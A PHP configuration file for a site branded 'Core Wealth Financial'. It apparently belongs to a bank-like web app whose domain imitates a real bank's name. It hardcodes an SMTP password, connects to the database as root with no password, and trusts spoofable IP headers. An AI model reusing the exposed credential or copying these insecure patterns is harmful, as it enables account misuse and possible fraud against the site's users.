<?php

SESSION_START();
// ?variable decleration for the website, main information 

function getUserIpAddr()
{
	if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
		//ip from share internet
		$ip = $_SERVER['HTTP_CLIENT_IP'];
	} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
		//ip pass from proxy
		$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
	} else {
		$ip = $_SERVER['REMOTE_ADDR'];
	}
	return $ip;
}
$ip = $_SERVER['REMOTE_ADDR'];


// echo 'User Real IP - '.getUserIpAddr();
// this code is use to block IP address
if (getUserIpAddr() == '4') {
	header("Location: http://google.com");
} else {


	$sitename = "Core Wealth Financial";
	$siteabb = 'CB';
	$site_phone_no = '+161***';
	$sitelink = 'comericafinancialbk.com';
	$site_email = "support@corewealthfin.com";
	$site_email2 = "support@corewealthfin.com";
	$no_reply = "support@corewealthfin.com";
	$SITENAME = 'corewealth';
	$site_address = ' 151 S. Rose Street. Kalamazoo, MI 49007. US';



	date_default_timezone_set('America/New_York');
	$current_time = date("d/m/Y: g:ia");
	$current_clock = date("h:i:sa");
	$current_date = date("Y/m/d");

	// database conncetion section statrs here
	ini_set('display_errors', 0);
	ini_set('html_errors)', 0);
	error_reporting(false);


	$servername = "localhost"; //this is the name of the database 
	$dbusername = "root"; // this is the username of the site 
	$dbpassword = "";
	$dbname = "first_int2";  // name of the database 
	//connection to the database 
	$db_conx = mysqli_connect($servername, $dbusername, $dbpassword, $dbname);

	if (!$db_conx) {
		die("connection failed:" . mysqli_connect_error());
	}

	$sql = "SELECT * FROM admin_area";
	$query = $db_conx->query($sql);
	$row = mysqli_fetch_assoc($query);


	$prince_uname = $row['username'];
	$prince_pwrd = $row['password'];
	$swift = $row['swift'];
	// $b_bank = $row['b_bank'];
	// $b_name = $row['b_name'];
	// $b_address = $row['b_address'];
	// $b_swift_code = $row['b_swift_code'];
	// $b_iban_code = $row['b_iban_code'];
	// $b_account = $row['b_account'];
	// $coin_type = $row['coin_type'];
	// $coin_wallet = $row['coin_wallet'];
	// $coin_logo = $row['coin_logo'];
	// $skrill = $row['skrill'];
	// $paypal = $row['paypal'];
	// $paypal = $row['paypal'];


	$sql_total_number_of_users = "SELECT * FROM personal_information";
	$query_total_number_of_users = $db_conx->query($sql_total_number_of_users);
	$num_of_total_number_of_users = mysqli_num_rows($query_total_number_of_users);

	// getting the total number of users online 
	$sql_total_number_of_users_online = "SELECT * FROM personal_information WHERE online = 1";
	$query_total_number_of_users_online = $db_conx->query($sql_total_number_of_users_online);
	$num_of_total_number_of_users_online = mysqli_num_rows($query_total_number_of_users_online);

	// getting the total number of users offline 
	$sql_total_number_of_users_offline = "SELECT * FROM personal_information WHERE online = 0";
	$query_total_number_of_users_offline = $db_conx->query($sql_total_number_of_users_offline);
	$num_of_total_number_of_users_offline = mysqli_num_rows($query_total_number_of_users_offline);
}



//Import PHPMailer classes into the global namespace
//These must be at the top of your script, not inside a function
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;



function sendMail($toEmail, $messageBody, $notificationSubject)
{
	global $site_email, $SITENAME;
	//Load Composer's autoloader
	require 'vendor/autoload.php';

	//Create an instance; passing `true` enables exceptions
	$mail = new PHPMailer(true);

	try {
		//Server settings
		// $mail->SMTPDebug = SMTP::DEBUG_SERVER;                      //Enable verbose debug output
		$mail->isSMTP();                                            //Send using SMTP
		$mail->Host       = 'smtp.hostinger.com';                     //Set the SMTP server to send through
		$mail->SMTPAuth   = true;                                   //Enable SMTP authentication
		$mail->Username   = $site_email;                     		//SMTP username
		$mail->Password   = 'Btqtectk3PJl3df!';                               //SMTP password
		$mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS;            //Enable implicit TLS encryption
		$mail->Port       = 465;                                    //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`
		$mail->SMTPDebug = false;


		//Recipients
		$mail->setFrom($site_email, $SITENAME);
		$mail->addAddress($toEmail, 'Support');     //Add a recipient
		$mail->addReplyTo($site_email, 'Support');



		//Content
		$mail->isHTML(true);                                  //Set email format to HTML
		$mail->Subject = $notificationSubject;
		$mail->Body = $messageBody;
		// $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';


		$mail->send();
		echo 'Message has been sent';
	} catch (Exception $e) {
		echo "Message could not be sent. Mailer Error: {$mail->ErrorInfo}";
	}
}
